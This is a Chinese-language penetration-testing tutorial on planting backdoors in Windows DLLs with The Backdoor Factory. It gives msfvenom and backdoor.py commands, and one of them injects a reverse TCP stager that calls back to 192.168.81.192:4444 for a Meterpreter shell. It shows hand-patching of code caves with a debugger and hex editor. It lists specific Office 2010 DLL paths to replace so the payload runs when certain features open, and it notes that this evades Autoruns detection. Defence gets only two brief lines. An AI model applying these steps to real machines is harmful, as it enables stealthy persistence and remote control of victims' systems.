导语:这次将要介绍向DLL文件植入后门的思路,演示一种DLL劫持的利用方法,总结该方法的特点,分析防御思路
0x00 前言
在之前的文章《利用BDF向EXE文件植入后门》介绍了使用The Backdoor Factory向EXE文件植入后门的方法,这次将要介绍向DLL文件植入后门的思路,演示一种DLL劫持的利用方法,总结该方法的特点,分析防御思路
0x01 简介
本文将要介绍以下内容:
·劫持自己的DLL,修复BUG
·劫持系统的DLL,绕过Autoruns的后门检测
0x02 利用思路
DLL同EXE文件的植入思路相同,也是通过修改程序的执行流程,跳转到Code Caves,执行payload,再返回至程序的正常流程
DLL同EXE文件最大的区别是多了导出函数的功能
在实现DLL劫持时,常常需要获得原DLL的导出函数,模拟导出函数,添加payload,实现利用
那么,The Backdoor Factory在DLL文件的后门植入上,是否要考虑导出函数呢?
下面进行测试,得出结论
0x02 编写程序进行测试
测试Dll testdll.dll:
#include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: //MessageBox(NULL, NULL, NULL, 0); //Sleep(5000); printf("[+] DLL_PROCESS_ATTACHn"); case DLL_THREAD_ATTACH: printf("[+] DLL_THREAD_ATTACHn"); case DLL_THREAD_DETACH: printf("[+] DLL_THREAD_DETACHn"); case DLL_PROCESS_DETACH: printf("[+] DLL_PROCESS_DETACHn"); break; } return TRUE; } void Export1() { printf("[+] Export1n"); }
导出函数为Export1
Dll加载程序 loader.exe:
#include <windows.h> typedef void(*Export)(); int main(int argc, char* argv[]) { Export exporttest; printf("[*] LoadLibraryn"); HMODULE hDllLib = LoadLibrary("testdll.dll"); exporttest=(Export)GetProcAddress(hDllLib ,"Export1"); exporttest(); Sleep(10000); FreeLibrary(hDllLib); printf("[*] FreeLibraryn"); return 0; }
程序执行如下图,加载testdll.dll,调用导出函数Export1
使用The Backdoor Factory为DLL文件添加后门:
msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin ./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a
再次执行loader.exe,测试如下图
成功执行payload,但是改变了程序流程,无法正常返回FreeLibrary
需要对DLL进行调试,找到出错的原因
首先生成空的跳转模板:
./backdoor.py -f testdll.dll -s cave_miner_inline
选择.text段
执行Loader.exe,程序一切正常,那么就是中间的payload出了问题
使用Immunity Debugger打开新的testdll.dll,找到劫持的位置,payload保存在0x10005716
如下图
这里可以推测,payload只要能够保持堆栈平衡,那么就不会影响程序的正常执行
接下来,在0x10005716处填入我们的payload
可以使用CFF Explorer添加payload
首先定位payload起始点
PUSHAD PUSHFD
对应的16进制代码为609C
在CFF Explorer中切换到Hex Editor视图,搜索609C,定位起始点0x0000571A
注:
通过Immunity Debugger获得的内存虚拟地址为0x1000571A,二者对应,位置正确
为了扩大payload空间,可以将后面的调整堆栈平衡代码整体后移
如下图
将0x0005772-0x0000579E的数据整体后移,中间填入0x90
选中该部分内容,右键-Copy-Hex
找到合适的位置,右键-Fill With…
完整操作如下图
依此方法,中间填入修改后的payload即可,完成Bug修复
通过Immunity Debugger查看DLL文件,可以看到The Backdoor Factory对DLL和EXE文件进行跳转劫持的位置一样
如下图
得出结论:
对于DLL文件来说,劫持初始化部分造成的结果是在LoadLibrary时即可执行payload,如果想在程序加载DLL导出函数时执行payload,将跳转代码改到导出函数内即可
0x03 劫持系统的DLL
针对Office 2010,分享几个自己找到的DLL劫持利用位置
1、劫持Word-审阅试图
LOCALSVC.DLL,位于C:\Program Files\Common Files\microsoft shared\RR\Loc14
对该dll添加payload
./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded
替换dll(需要管理员权限),启动word.exe,切换至审阅视图,弹回meterpreter
测试如下图
2、劫持word-插入-图片
tiptsf.dll,位于C:\Program Files\Common Files\microsoft shared\ink
需要TrustedInstaller权限才能替换
关于如何获得TrustedInstaller权限,可参考文章《渗透技巧——Token窃取与利用》
3、劫持word-文件
也影响别的位置:
word -页面布局-主题-浏览主题
GrooveIntlResource.dll,位于C:\Program Files\Microsoft Office\Office14\2052
需要管理员权限
4、劫持Excel-插入-图片
MSPTLS.DLL,位于C:\Program Files\Common Files\microsoft shared\OFFICE14
需要管理员权限
以上测试如下图
注:
本节内容仅为了演示DLL劫持的一些利用方法,这些特殊的劫持位置只会在软件的特定功能打开时才会启动,所以能够绕过Autoruns的检测
0x04 防御
对于系统DLL,通过会带有微软签名,如果对DLL植入后门,签名会失效,这是一个老生常谈的问题
而对于第三方开发的软件,调用的第三方DLL不加签名,那么被利用的风险很大
0x05 小结
本文测试了使用The Backdoor Factory向DLL文件植入后门的方法,介绍修复BUG的思路,分享了一种DLL劫持的利用方法,仅供测试,通过总结该利用方法的特点,简要介绍了防御方面需要注意的问题